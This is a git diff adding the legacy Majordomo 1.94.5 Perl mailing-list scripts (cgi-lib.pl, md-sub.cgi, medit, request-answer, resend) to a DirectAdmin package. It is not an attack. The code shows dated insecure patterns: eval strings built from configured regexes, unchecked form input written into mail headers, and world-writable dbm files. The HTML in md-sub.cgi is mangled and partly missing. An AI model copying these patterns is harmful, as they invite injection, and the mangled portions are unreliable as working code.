($main'config_opts{$clean_list, "${cmd}_access"} =~ /open/) {#' + print STDERR "access_check: ${cmd}_access is open.\n" if $DEBUG; + return 1; + } + + # now check a little deeper. + # + if ( length($main'config_opts{$clean_list,'restrict_post'} )) { + @lists = split(/[:\s]+/, + $main'config_opts{$clean_list,'restrict_post'}); + } else { + if ($clean_list =~ /(.*)-digest/) { + $altlist = $1; + } else { + $altlist = "$clean_list-digest"; + } + @lists = ($clean_list); + push(@lists, $altlist) if -e "$listdir/$altlist"; + } + + print STDERR "access_check: checking lists " , join(', ', @lists), "\n" + if $DEBUG; + + $total = 0; + foreach $list (@lists) { + $total += &main'is_list_member($subscriber, $listdir, $clean_list, $list); + } + print STDERR "access_check: exit\n" if $DEBUG; + return $total; +} + +1; diff --git a/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/majordomo_version.pl b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/majordomo_version.pl new file mode 100644 index 0000000..ec7c897 --- /dev/null +++ b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/majordomo_version.pl @@ -0,0 +1,5 @@ +# $Header: /sources/cvsrepos/majordomo/majordomo_version.pl,v 1.28 2000/01/18 13:28:07 cwilson Exp $ + +$majordomo_version = "1.94.5"; +1; + diff --git a/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/md-sub/catdb b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/md-sub/catdb new file mode 100644 index 0000000..0870a7f --- /dev/null +++ b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/md-sub/catdb @@ -0,0 +1,20 @@ +#!/usr/local/gnu/bin/perl +# +# catdb +# +# Author: John Orthoefer +# Date: 7 Jan 1996 +# +# Introduction +# This program dumps out a dbm file so you can see what the keys are and +# what the values are. + +dbmopen( %DB, "$ARGV[0]", 0666); + +foreach $i (keys %DB) { + print "$i = \"$DB{$i}\"\n"; +} + +dbmclose( DB); + +exit 0; diff --git a/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/md-sub/cgi-lib.pl b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/md-sub/cgi-lib.pl new file mode 100644 index 0000000..4f44f64 --- /dev/null +++ b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/md-sub/cgi-lib.pl @@ -0,0 +1,170 @@ +#!/usr/local/bin/perl -- -*- C -*- + +# Perl Routines to Manipulate CGI input +# S.E.Brenner@bioc.cam.ac.uk +# $Header: /sources/cvsrepos/majordomo/md-sub/cgi-lib.pl,v 1.1 1996/02/01 15:17:43 cwilson Exp $ +# +# Copyright 1994 Steven E. Brenner +# Unpublished work. +# Permission granted to use and modify this library so long as the +# copyright above is maintained, modifications are documented, and +# credit is given for any use of the library. +# +# Thanks are due to many people for reporting bugs and suggestions +# especially Meng Weng Wong, Maki Watanabe, Bo Frese Rasmussen, +# Andrew Dalke, Mark-Jason Dominus and Dave Dittrich. + +# For more information, see: +# http://www.bio.cam.ac.uk/web/form.html +# http://www.seas.upenn.edu/~mengwong/forms/ + +# Minimalist http form and script (http://www.bio.cam.ac.uk/web/minimal.cgi): +# +# require "cgi-lib.pl"; +# if (&ReadParse(*input)) { +# print &PrintHeader, &PrintVariables(%input); +# } else { +# print &PrintHeader,'
    Data: '; +#} + +# ReadParse +# Reads in GET or POST data, converts it to unescaped text, and puts +# one key=value in each member of the list "@in" +# Also creates key/value pairs in %in, using '\0' to separate multiple +# selections + +# Returns TRUE if there was input, FALSE if there was no input +# UNDEF may be used in the future to indicate some failure. + +# Now that cgi scripts can be put in the normal file space, it is useful +# to combine both the form and the script in one place. If no parameters +# are given (i.e., ReadParse returns FALSE), then a form could be output. + +# If a variable-glob parameter (e.g., *cgi_input) is passed to ReadParse, +# information is stored there, rather than in $in, @in, and %in. + +sub ReadParse { + local (*in) = @_ if @_; + local ($i, $key, $val); + + # Read in text + if (&MethGet) { + $in = $ENV{'QUERY_STRING'}; + } elsif ($ENV{'REQUEST_METHOD'} eq "POST") { + read(STDIN,$in,$ENV{'CONTENT_LENGTH'}); + } + + @in = split(/&/,$in); + + foreach $i (0 .. $#in) { + # Convert plus's to spaces + $in[$i] =~ s/\+/ /g; + + # Split into key and value. + ($key, $val) = split(/=/,$in[$i],2); # splits on the first =. + + # Convert %XX from hex numbers to alphanumeric + $key =~ s/%(..)/pack("c",hex($1))/ge; + $val =~ s/%(..)/pack("c",hex($1))/ge; + + # Associate key and value + $in{$key} .= "\0" if (defined($in{$key})); # \0 is the multiple separator + $in{$key} .= $val; + + } + + return length($in); +} + + +# PrintHeader +# Returns the magic line which tells WWW that we're an HTML document + +sub PrintHeader { + return "Content-type: text/html\n\n"; +} + + +# MethGet +# Return true if this cgi call was using the GET request, false otherwise + +sub MethGet { + return ($ENV{'REQUEST_METHOD'} eq "GET"); +} + +# MyURL +# Returns a URL to the script +sub MyURL { + return 'http://' . $ENV{'SERVER_NAME'} . $ENV{'SCRIPT_NAME'}; +} + +# CgiError +# Prints out an error message which which containes appropriate headers, +# markup, etcetera. +# Parameters: +# If no parameters, gives a generic error message +# Otherwise, the first parameter will be the title and the rest will +# be given as different paragraphs of the body + +sub CgiError { + local (@msg) = @_; + local ($i,$name); + + if (!@msg) { + $name = &MyURL; + @msg = ("Error: script $name encountered fatal error"); + }; + + print &PrintHeader; + print "$msg[0]\n"; + print "

    $msg[0]

    \n"; + foreach $i (1 .. $#msg) { + print "

    $msg[$i]

    \n"; + } + print "\n"; +} + +# PrintVariables +# Nicely formats variables in an associative array passed as a parameter +# And returns the HTML string. + +sub PrintVariables { + local (%in) = @_; + local ($old, $out, $output); + $old = $*; $* =1; + $output .= "
    "; + foreach $key (sort keys(%in)) { + foreach (split("\0", $in{$key})) { + ($out = $_) =~ s/\n/
    /g; + $output .= "
    $key
    $out
    "; + } + } + $output .= "
    "; + $* = $old; + + return $output; +} + +# PrintVariablesShort +# Nicely formats variables in an associative array passed as a parameter +# Using one line per pair (unless value is multiline) +# And returns the HTML string. + + +sub PrintVariablesShort { + local (%in) = @_; + local ($old, $out, $output); + $old = $*; $* =1; + foreach $key (sort keys(%in)) { + foreach (split("\0", $in{$key})) { + ($out = $_) =~ s/\n/
    /g; + $output .= "$key is $out
    "; + } + } + $* = $old; + + return $output; +} + +1; #return true + diff --git a/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/md-sub/md-sub.cgi b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/md-sub/md-sub.cgi new file mode 100644 index 0000000..61f8289 --- /dev/null +++ b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/md-sub/md-sub.cgi @@ -0,0 +1,413 @@ +#!/usr/local/gnu/bin/perl +# +# md-sub.cgi +# +# Author: John Orthoefer +# Date: 17 Jan 1996 +# +# Introduction +# This cgi allows people web surfing to subscribe to mailing list. +# It presents the person with a form when called with out options. +# when called with options it will send a mail message to the +# mailing list. +# +# Installing +# To install this software: +# o put the script in the cgi-bin directory +# o set the following varables up for your site +# cgiloc - url of this script as refered to via the web +# listsdb - where the database of lists is going to live +# logfile - where the log for script activity should go +# sendmail - the sending e-mail program, it should have the +# option to read the incoming stream for the To +# address set, '-t' on sendmail. +# o initialize the database +# + list all your mailing lists and contact addresses in a file +# one per line as in +# firewalls majordomo@greatcircle.com +# warhammerfb majordomo@direwolf.com +# majordomo-workers majordomo@greatcircle.com +# default warhammerfb +# help webmaster@here.org +# +# note: there are 3 special names +# default -- This is the mailing list that will be +# selected when the form is first +# presented to the user. +# help -- This is the address for people to send +# help to. +# info -- This is used to specify a URL for information about +# a mailing list. +# the format is: +# info listname url +# where: listname matches a list that is specifed +# elsewhere in the file. +# url is some url on the web. +# + then run the the script with the '-C filename' option +# to construct the database. The create option will only +# add to the database. If you want to clear the database, +# you need to 'rm $listsdb*' (there will be two file a +# .dir and .pag file.) +# o add a link to the scripts URL in your web pages. +# + if you want to make different default mailing lists based on +# which pages you came from you can do this by passing the param +# default=listname +# as part of the URL. +# ie: +# This will cause mylist to be the default selected one instead of +# the database default. +# +# Misc +# This script needs two perl libs cgi-lib.pl (included in this +# distrubution.) and getopts.pl (which should be included with +# your perl distrubution.) +# +# Scalars that need to be changed +# +$cgiloc = "http://stout/~jco/md-sub.cgi"; +$listsdb = "/usr/jco/.md-subrc"; +$logfile = "/usr/jco/md-sub.log"; +#$sendmail = "|/usr/lib/sendmail -t"; +$sendmail = "|/usr/bin/cat - > /tmp/test.out"; # This one is for + # testing... + +# !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! +# NOTHING BELOW HERE SHOULD NEED TO BE CHANGED +# !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! + +# +# Required file +require 'cgi-lib.pl'; +use Getopt::Std; + +# +# Version number +$version = "1.0"; + +# +# Info +$info = "jco\@direwolf.com"; + +# +# Call Getopts +getopts( 'C:v'); + +# +# Check to see if we are creating a DB +if ($opt_C) { + &create_lists( $opt_C); + exit 0; +} + +# +# Check to see if the version is being intergated. +if ($opt_v) { + print "Version: $version\n"; + exit 0; +} + +# +# Read the list DB +&load_lists; + +# +# Figure out if we have a filled in form or we need to send a form +if (&ReadParse && !defined( $in{ 'default'})) { + if (defined $in{ 'infopage'} ) { + &infopage; + } else { + $in{ 'mailing_list'} =~ s/\*$//; # drop the * at the end of the name. + &sendmessage; + } +} else { + &form; +} + +# +# Birthday party, cheesecake, jelly bean, boom! +# R.E.M. +exit 0; + +# +# create_lists +# Create the DBM file. +sub create_lists { + local( $file) = @_; + + open( LISTS, $file); + dbmopen( %MLRC, $listsdb, 0644); + + while( ) { + chop; + ($name, $address) = /(\S*)\s*(.*)/; + if ($name =~ /info/i) { + ($name, $address) = $address =~/(\S*)\s*(.*)/; + $MLRC{ "LISTINFO-$name"} = $address; + @info = (@info, $name); + } else { + @ml = (@ml, $name); + $MLRC{ "LISTNAME-$name"} = $address; + } + } + + $MLRC{ 'mailing-lists'} = join( ";", @ml); + $MLRC{ 'mailing-info'} = join( ";", @info); + dbmclose( MLRC); +} + +# +# load_lists +# read in the DBM file. +sub load_lists { + if (!dbmopen( %MLRC, $listsdb, undef)) { + &log( "Can't open $listsdb"); + exit 1; + } + + foreach $i (split(/;/, $MLRC{'mailing-lists'})) { + $ml{$i} = $MLRC{ "LISTNAME-$i"}; + } + + foreach $i (split(/;/, $MLRC{'mailing-info'})) { + $mi{$i} = $MLRC{ "LISTINFO-$i"}; + } + + dbmclose( MLRC); +} + +# +# form +# Present the form to the user to fill out +sub form { + +# Form header + print < +Mailing List Subscription + + +
    Mailing List Subscription Form
    +
    +
    + +To subscribe to any of these mailing lists all you need to do is fill +out the form compeletly. And submit it. The form will then be +processed and you should be added to the mailing list shortly.

    + +EOF + +if (defined %mi) { + print <here.

    + +EOF +} + +print < + +Mailing List: +EOF + +# Generate the list of mailing lists + print "\n"; + +# form trailer +print < +Real name:
    +E-mail Address:
    +
    +What action would you like to take? +

    +Subscribe +to the list
    +Unsubscribe from +the list
    +Have a list of who is on the list +mailed to you
    +Get a detailed description +of the list mailed to you
    +
    + + + + +
    +
    +Webmaster / +\n"; + foreach $i (keys %mi) { + print "
  3. $i\n"; + } + print "\n"; + +print < +
    +Webmaster / +>$logfile"); + + print LOG &DTG; + print LOG " - $msg\n"; + + close( LOG); + +} + +# +# DTG +# Date Time Group, This is a military thing. Express time in GMT (aka +# Zulu) it this kinda funky format (ddhhmmZ MON YY). I used it because +# it's a canned routine I have. +sub DTG { + local( $time) = @_; + local( @months) = ( 'JAN', 'FEB', 'MAR', 'APR', 'MAY', 'JUN', + 'JUL', 'AUG', 'SEP', 'OCT', 'NOV', 'DEC'); + + $time = time if ($time); + sprintf( "%2.2d%2.2d%2.2dZ %s %2.2d", + (gmtime( $time))[3], + (gmtime( $time))[2], + (gmtime( $time))[1], + @months[(gmtime( $time))[4]], + (gmtime( $time))[5]); +} + +# +# sendmessage +# This is the worker routine. Sends a nice HTML message to the user and +# sends a nice e-mail to the mailing list admin. +# +sub sendmessage { + local( $i); + + if ($in{ 'email'} eq "") { + print < + +
    SORRY

    +
    +I'm sorry but you must fill in your e-mail address. +Press "back" and try again. + +EOF + +exit 0; +} + $in{ 'email'} = "$in{ 'email'}@$ENV{'REMOTE_HOST'}" + if ( !( $in{ 'email'} =~ /\S*@\S*/)); + + &log( "<$in{ 'email'}> \"$in{ 'rname'}\" ". + "$in{ 'function'} $in{ 'mailing_list'}"); + + open( SM, "$sendmail"); + print SM < +Reply-To: "$in{ 'rname'}" <$in{'email'}> + +$in{ 'function'} $in{'mailing_list'} +EOF + close( SM); + +print < +Thank You + + +
    THANK YOU
    +

    +Your request has been forwarded to the list owner for processing. +You should be added soon. +
    + +If the list owner has any questions about adding you they should be in +touch with you shortly. +
    +
    +The following information will be sent for you: +
    +
    + +EOF + + print "To: $ml{$in {'mailing_list'}}
    \n"; + print "From: \"$in{ 'rname'}\" <$in{'email'}>

    \n"; + + print "$in{ 'function'} $in{'mailing_list'}
    \n"; + + print < + + +EOF + +} diff --git a/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/md-sub/ml-init.sample b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/md-sub/ml-init.sample new file mode 100644 index 0000000..8ebbe7a --- /dev/null +++ b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/md-sub/ml-init.sample @@ -0,0 +1,9 @@ +warhammerfb majordomo@direwolf.com +warhammerfb-digest majordomo@direwolf.com +test jco@bbn.com +Firewalls majordomo@greatcircle.com +info Firewalls http://www.greatcircle.com/firewalls/ +info Firewalls-digest http://www.greatcircle.com/firewalls/ +Firewalls-digest majordomo@greatcircle.com +help webmaster@www.noname.org +default warhammerfb diff --git a/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/medit b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/medit new file mode 100644 index 0000000..3fb7139 --- /dev/null +++ b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/medit @@ -0,0 +1,61 @@ +#!/bin/perl + +# medit: lock and edit a Majordomo-managed file, then unlock when done. +# +# Copyright 1992, D. Brent Chapman. All Rights Reserved. For use by +# permission only. +# +# $Source: /sources/cvsrepos/majordomo/medit,v $ +# $Revision: 1.10 $ +# $Date: 1997/04/28 18:38:05 $ +# $Author: cwilson $ +# $State: Exp $ +# +# $Locker: $ + +# set our path explicitly +$ENV{'PATH'} = "/bin:/usr/bin:/usr/ucb"; + +# Read and execute the .cf file +$cf = $ENV{"MAJORDOMO_CF"} || "/etc/majordomo.cf"; +if ($ARGV[0] eq "-C") { + $cf = $ARGV[1]; + shift(@ARGV); + shift(@ARGV); +} +if (! -r $cf) { + die("$cf not readable; stopped"); +} +require "$cf"; + +# All these should be in the standard PERL library +unshift(@INC, $homedir); +require "shlock.pl"; # NNTP-style file locking +require "majordomo.pl"; + +# Here's where the fun begins... + +(defined($listdir) && chdir "$listdir") + || die("can't access \$listdir $listdir"); + + +$editor = $ENV{"EDITOR"} || "vi"; + +foreach (@ARGV) { + $lockfile = $_; + $lockfile =~ s,([^/]*)$,L.$1,; + $shlock'waittime = 5; + for ($tries = 0 ; $tries < 60 ; $tries++) { + if (&set_lock($lockfile)) { + # got the lock + system("$editor $_"); + &free_lock($lockfile); + last; + } else { + print "Waiting for lock on $_...\n"; + } + } + if ($tries > 60) { + print "Giving up on lock for $_...\n"; + } +} diff --git a/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/request-answer b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/request-answer new file mode 100644 index 0000000..56fb707 --- /dev/null +++ b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/request-answer @@ -0,0 +1,145 @@ +#!/bin/perl + + +# $Source: /sources/cvsrepos/majordomo/request-answer,v $ +# $Revision: 1.15 $ +# $Date: 2000/01/07 11:10:18 $ +# $Author: cwilson $ +# $State: Exp $ +# +# $Locker: $ + +# set our path explicitly +# PATH it is set in the wrapper, so there is no need to set it here. +#$ENV{'PATH'} = "/bin:/usr/bin:/usr/ucb"; + +# Read and execute the .cf file +$cf = $ENV{"MAJORDOMO_CF"} || "/etc/majordomo.cf"; +if ($ARGV[0] eq "-C") { + $cf = $ARGV[1]; + shift(@ARGV); + shift(@ARGV); +} +if (! -r $cf) { + die("$cf not readable; stopped"); +} +require "$cf"; + +chdir($homedir) || die("Can't chdir(\"$homedir\"): $!"); +unshift(@INC, $homedir); +require "shlock.pl"; +require "majordomo.pl"; + +$majordomo_dont_reply = $majordomo_dont_reply + || '(mailer-daemon|uucp|listserv|majordomo)\@'; + +&ParseMailHeader(STDIN, *hdrs); +$reply_to = &RetMailAddr(*hdrs); +$reply_to = join(", ", &ParseAddrs($reply_to)); + +die("request-answer: $reply_to is not a valid return address.\n") + if (! &valid_addr($reply_to)); + +# robots should not reply to other robots... +if ($reply_to =~ m/$majordomo_dont_reply/i) { + &abort( "$whoami: not replying to $1 to avoid mail loop.\n"); +} + +$in_reply_to = $hdrs{"message-id"} . ", from " . $hdrs{"from"}; +$list = $ARGV[0]; + +# Define all of the mailer properties: +# It is possible that one or both of $sendmail_command and $bounce_mailer +# are not defined, so we provide reasonable defaults. +$sendmail_command = "/usr/lib/sendmail" + unless defined $sendmail_command; +$bounce_mailer = "$sendmail_command -f\$sender -t" + unless defined $bounce_mailer; + +$sender = "$list-approval\@$whereami"; + +$mailcmd = eval qq/"$bounce_mailer"/; + +if (defined($isParent = open(MAIL, "|-"))) { + &do_exec_sendmail(split(' ',$mailcmd)) + unless $isParent; +} else { + &abort("Failed to fork prior to mailer exec"); +} + + +print MAIL <<"EOM"; +To: $reply_to +From: $list-request\@$whereami +Subject: Your mail to $list-request\@$whereami +In-Reply-To: $in_reply_to +Reply-To: $list-approval\@$whereami + +This pre-recorded message is being sent in response to your recent +email to $list-request\@$whereami. + +All routine administrative requests (including subscriptions and +unsubscriptions) concerning this mailing list are handled by an +automated server. Please read this message carefully to find the +information relevant to you. + +SUBSCRIBING +=========== + +To subscribe to $list, send the following in the body (not +the subject line) of an email message to "$whoami": + + subscribe $list + +This will subscribe the account from which you send the message to +the $list list. + +If you wish to subscribe another address instead (such as a local +redistribution list), you can use a command of the form: + + subscribe $list other-address\@your_site.your_net + +UNSUBSCRIBING +============= + +To unsubscribe from $list, send the following in the body (not +the subject line) of an email message to "$whoami": + + unsubscribe $list + +This will unsubscribe the account from which you send the message. +If you are subscribed with some other address, you'll have to send +a command of the following form instead: + + unsubscribe $list other-address\@your_site.your_net + +If you don't know what address you are subscribed with, you can send +the following command to see who else is on the list (assuming that +information isn't designated "private" by the owner of the list): + + who $list + +If you want to search non-private lists at this server, you can do that +by sending a command like: + + which string + +This will return a list of all entries on all lists that contain "string". + +HELP +==== + +To find out more about the automated server and the commands it +understands, send the following command to "$whoami": + + help + +If you feel you need to reach a human, send email to: + + $list-approval\@$whereami + +EOM + +close(MAIL); + +exit 0; diff --git a/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/resend b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/resend new file mode 100644 index 0000000..91848ab --- /dev/null +++ b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/resend @@ -0,0 +1,970 @@ +#!/bin/perl +# $Modified: Fri Jan 7 16:32:17 2000 by cwilson $ + +# Copyright 1992, D. Brent Chapman. All Rights Reserved. For use by +# permission only. +# +# $Source: /sources/cvsrepos/majordomo/resend,v $ +# $Revision: 1.90 $ +# $Date: 2000/01/07 15:32:39 $ +# $Author: cwilson $ +# $State: Exp $ +# +# $Locker: $ +# +# Okay, resend accepts many command line arguments, as revealed by the +# Getopts call: +# &Getopts("Aa:df:h:I:l:M:p:Rr:s") || die("resend: Getopts() failed: $!"); +# Most of these are defined via the list config file, so in general, +# it's a really bad idea to hardcode them in the alias definition. +# In a future version of majordomo, these will likely all be removed. +# +# Here's a description of them, just to be documentive. Note that the +# only REQUIRED option is -l. Even that will probably go away in the future. +# +# -l REQUIRED: specify list name +# -h specify host name +# -f specify "sender" (default -request) +# -M specify max message length to forward +# -p add "Precedence: " header +# -r add "Reply-To: " header +# -I Bounce messages from users not listed in file +# in colon-separated +# -a approval password +# -A moderate list (require "Approved:" for posting) +# -R delete "Received:" lines +# -s enable "administrivia" checks +# -d debug; say it, but don't do it +# -C alternate config file +# + +#$DEBUG = 1; + +# set our path explicitly +# PATH it is set in the wrapper, so there is no need to set it here. +#$ENV{'PATH'} = "/bin:/usr/bin:/usr/ucb"; + +# Before doing anything else tell the world I am resend +# The mj_ prefix is reserved for tools that are part of majordomo proper. +# (not that anything uses this variable.) +$main'program_name = 'mj_resend'; #'; + +# If the first argument is "@filename", read the real arguments +# from "filename", and shove them onto the ARGV for later processing +# by &Getopts() +# +if ($ARGV[0] =~ /^\@/) { + $fn = shift(@ARGV); + $fn =~ s/^@//; + open(AV, "< $fn" ) || die("open(AV, \"< $fn\"): $!\nStopped"); + undef($/); # set input field separator + $av = ; # read whole file into string + close(AV); + @av = split(/\s+/, $av); + unshift(@ARGV, @av); + $/ = "\n"; +} + +# Parse arguments here. We do this first so that we can conditionally +# evaluate code in majordomo.cf based on $opt_l (or any other command line +# argument). Here I've assumed that perl was installed correctly and +# getopts.pl was place where it's supposed to be. This changes previous +# behavior which allowed getopts.pl to be in the same place as +# majordomo.cf. +use Getopt::Std; + +getopts("C:c:Aa:df:h:I:l:M:p:Rr:s") || die("resend: Getopts() failed: $!"); + +if (! defined($opt_l)) { + die("resend: must specify '-l list'"); +} + +# Read and execute the .cf file +$cf = $opt_C || $opt_c || $ENV{"MAJORDOMO_CF"} || "/etc/majordomo.cf"; + +# Despite not having a place to send the remains of the body, +# it would be nice to send a message to root or postmaster, at least... +# +if (! -r $cf) { + die("$cf not readable; stopped"); +} + +require "$cf"; + +chdir($homedir) || die("Can't chdir(\"$homedir\"): $!"); + +unshift(@INC, $homedir); +use POSIX qw(ctime); # For logging purposes +require "majordomo.pl"; +require "majordomo_version.pl"; +require "config_parse.pl"; + +# pickup hostname from majordomo.cf unless defined on the command line +$opt_h = $opt_h || $whereami; + +# smash case for the list name +$opt_l =~ tr/A-Z/a-z/; + +# We must set up the mailers and logging as soon possible so that we can +# send and log complaints and aborts somewhere. Unfortunately we need to +# parse the config file to get some of the variables. So we fake it here, +# and set them properly later. +# XXX It is possible that owner-$opt_l won't be the right address, but we +# have little choice. Sending the bounces to $whoami_owner is an option, +# but might not clearly indicate the list name. +$sendmail_command = $sendmail_command || "/usr/lib/sendmail"; +$bounce_mailer = $bounce_mailer || "$sendmail_command -f\$sender -t"; +&set_mail_from("owner-$opt_l"); +&set_mail_sender("owner-$opt_l"); +&set_mailer($bounce_mailer); +&set_abort_addr("owner-$opt_l"); +&set_log($log, $opt_h, "resend", $opt_l); + +if (! defined ($TMPDIR)) { + &bitch("\$TMPDIR wasn't defined in $cf. Using /usr/tmp instead.\n". + "Please define in $cf.\n"); + $TMPDIR = '/usr/tmp'; +} + +# if we're running from a tty, just spit to stderr, else +# open up a temp file for the debug output. +# +if (! -t STDERR) { + close STDERR; + open (STDERR, ">>$TMPDIR/resend.debug"); +} + +# XXX some standard way of setting defaults needs to be done.. +# +$MAX_HEADER_LINE_LENGTH = $MAX_HEADER_LINE_LENGTH || 128; +$MAX_TOTAL_HEADER_LENGTH = $MAX_TOTAL_HEADER_LENGTH || 1024; + +print STDERR "$0 [$$]: starting.\n" if $DEBUG; + +if ( ! @ARGV) { + die("resend: must specify outgoing list as last arg(s)"); + # this doesn't have to be this way. It could slurp it + # from the alias it was invoked as...? +} + +# A classic case of feeping creaturism. While there are possibly good reasons +# why all these things can be classified on the command line, there's +# *NO* good reason why everything is "opt_X". YATTF. +# +$opt_r = "$opt_r\@$opt_h" if ( defined($opt_r) ); + +&get_config($listdir, $opt_l); + +$opt_A = &cf_ck_bool($opt_l,"moderate") if &cf_ck_bool($opt_l,"moderate"); +$opt_h = $config_opts{$opt_l,"resend_host"} + if($config_opts{$opt_l,"resend_host"} ne ''); +$opt_a = $config_opts{$opt_l,"approve_passwd"} + if ($config_opts{$opt_l,"approve_passwd"} ne ''); +$opt_M = $config_opts{$opt_l,"maxlength"} + if ($config_opts{$opt_l,"maxlength"} ne ''); + +$opt_f = $config_opts{$opt_l,"sender"} + if ($config_opts{$opt_l,"sender"} ne ''); +$opt_p = $config_opts{$opt_l,"precedence"} + if ($config_opts{$opt_l,"precedence"} ne ''); +$opt_r = $config_opts{$opt_l,"reply_to"} + if ($config_opts{$opt_l,"reply_to"} ne ''); +$opt_I = $config_opts{$opt_l,"restrict_post"} + if ($config_opts{$opt_l,"restrict_post"} ne ''); +$opt_R = &cf_ck_bool($opt_l,"purge_received") + if &cf_ck_bool($opt_l,"purge_received"); +$opt_s = &cf_ck_bool($opt_l,"administrivia") + if &cf_ck_bool($opt_l,"administrivia"); +$opt_d = &cf_ck_bool($opt_l,"debug") + if &cf_ck_bool($opt_l,"debug"); + +# Construct the envelope sender for outbound messages +if (defined($opt_f)) { + $sender = $opt_f; +} else { + $sender = "$opt_l-request"; +} + +# If the sender doesn't contain an `@', tack on one, followed by the +# hostname +if ($sender !~ /\@/) { + $sender .= "\@$opt_h"; +} + +# We can now properly define some of the mailer properties. +&set_mail_from($sender); +&set_mail_sender($sender); +&set_abort_addr($sender); +&set_log($log, $opt_h, "resend", $opt_l); + +if (defined($opt_A) && ! defined($opt_a)) { + die("resend: must also specify '-a passwd' if using '-A' flag"); +} + + +# +# These are headers to skip +# +$skip_headers = '/^from /i' . + '|| /^x-confirm-reading-to:/i' . # pegasus mail (windoze) + '|| /^disposition-notification-to:/i' . # eudora + '|| /^x-ack:/i' . + '|| /^sender:/i' . + '|| /^return-receipt-to:/i' . + '|| /^errors-to:/i' . + '|| /^flags:/i' . + '|| /^resent-/i' . + '|| /^priority/i' . + '|| /^x-pmrqc:/i' . + '|| /^return-path:/i' . + '|| /^encoding:/i' # could munge the length of the message + ; + +# +# Define the eval's used to catch "taboo" headers, message contents, +# and administrative headers. The taboo headers can be global +# or per list. The administrative headers are global. +# +# The eval is a construct like so: +# foo: { /^subject:\s*subscribe/ && ( $taboo = '/^subject:\s*subscribe/', last foo); } +# so that the eval returns the regexp that matched. +# + +print STDERR "$0: defining evals to catch the bad stuff.\n" if $DEBUG; + +if ($config_opts{$opt_l, 'taboo_headers'} ne '') { + @taboo_headers = split(/\001/,$config_opts{$opt_l, 'taboo_headers'}); + if ($#taboo_headers >= $[) { + $is_taboo_header = "foo: {\n"; + foreach $t (@taboo_headers) { + ($ts = $t) =~ s/(['\\])/\\$1/g; + $is_taboo_header .= "$t && (\$taboo = '$ts', last foo);\n"; + } + $is_taboo_header .= "\$taboo = \"\";\n}; \$taboo;\n"; + } +} + +if ($config_opts{$opt_l, 'taboo_body'} ne '') { + @taboo_body = split(/\001/,$config_opts{$opt_l, 'taboo_body'}); + if ($#taboo_body >= $[) { + $is_taboo_body = "foo: {\n"; + foreach $t (@taboo_body) { + ($ts = $t) =~ s/(['\\])/\\$1/g; + $is_taboo_body .= "$t && (\$taboo = '$ts', last foo);\n"; + } + $is_taboo_body .= "\$taboo = \"\";\n}; \$taboo;\n"; + } +} + +if (defined($global_taboo_headers)) { + @global_taboo_headers = split(/\n/,$global_taboo_headers); + if ($#global_taboo_headers >= $[) { + $is_global_taboo_header = "foo: {\n"; + foreach $t (@global_taboo_headers) { + ($ts = $t) =~ s/(['\\])/\\$1/g; + $is_global_taboo_header .= "$t && (\$taboo = '$ts', last foo);\n"; + } + $is_global_taboo_header .= "\$taboo = \"\";\n}; \$taboo;\n"; + } +} + +if (defined($global_taboo_body)) { + @global_taboo_body = split(/\n/,$global_taboo_body); + if ($#global_taboo_body >= $[) { + $is_global_taboo_body = "foo: {\n"; + foreach $t (@global_taboo_body) { + ($ts = $t) =~ s/(['\\])/\\$1/g; + $is_global_taboo_body .= "$t && (\$taboo = '$ts', last foo);\n"; + } + $is_global_taboo_body .= "\$taboo = \"\";\n}; \$taboo;\n"; + } +} +#"; dammit. + +# admin subject checks. Since $admin_headers is defined in $cf +# (majordomo.cf), an upgrade may not have $admin_headers. +# Bitch about it if so. +# +if (! defined($admin_headers)) { + &bitch("resend: \$admin_headers not defined in $cf !!\n" . + "Majordomo will only catch \"subscribe\" and \"unsubscribe\" in\n" . + "the subject field...\n"); + @admin_headers = ('/^subject:\s*subscribe\b/i' , + '/^subject:\s*unsubscribe\b/i'); +} else { + @admin_headers = split(/\n/, $admin_headers); +} + +$is_admin_header = "foo: {\n"; +foreach $t (@admin_headers) { + $is_admin_header .= "$t && (\$taboo = '$t', last foo);\n"; +} +$is_admin_header .= "\$taboo = \"\";\n}; \$taboo;\n"; + +# Body Check! +# Common things that people send to the wrong address. +# These are caught in the first 10 lines of the message body +# if 'administravia' is turned on and the message isn't marked approved. +# +# The code that catches this should transparently redirect +# majordomo commands to majordomo. That would give the additional +# advantage of not having to add to this silly construct for +# each new majordomo command. +# +# $admin_body should be defined in the $cf file, but an upgrade +# may miss this fact. Bitch about it, and use a minimal list if so. +# +if (! defined($admin_body)) { + &bitch("resend: \$admin_body not defined in $cf !!\n" . + "Majordomo will only catch \"subscribe\" and \"unsubscribe\" in\n" . + "the body.\nLook at $homedir/sample.cf for a good definition."); + @admin_body = ('/^subject:\s*subscribe\b/i' , + '/^subject:\s*unsubscribe\b/i'); +} else { + @admin_body = split(/\n/, $admin_body); +} + +$is_admin_body = "foo: {\n"; +foreach $t (@admin_body) { + $is_admin_body .= "$t && (\$taboo = '$t', last foo);\n"; +} +$is_admin_body .= "\$taboo = \"\";\n}; \$taboo;\n"; + + +print STDERR "$0: caching the message.\n" if $DEBUG; + 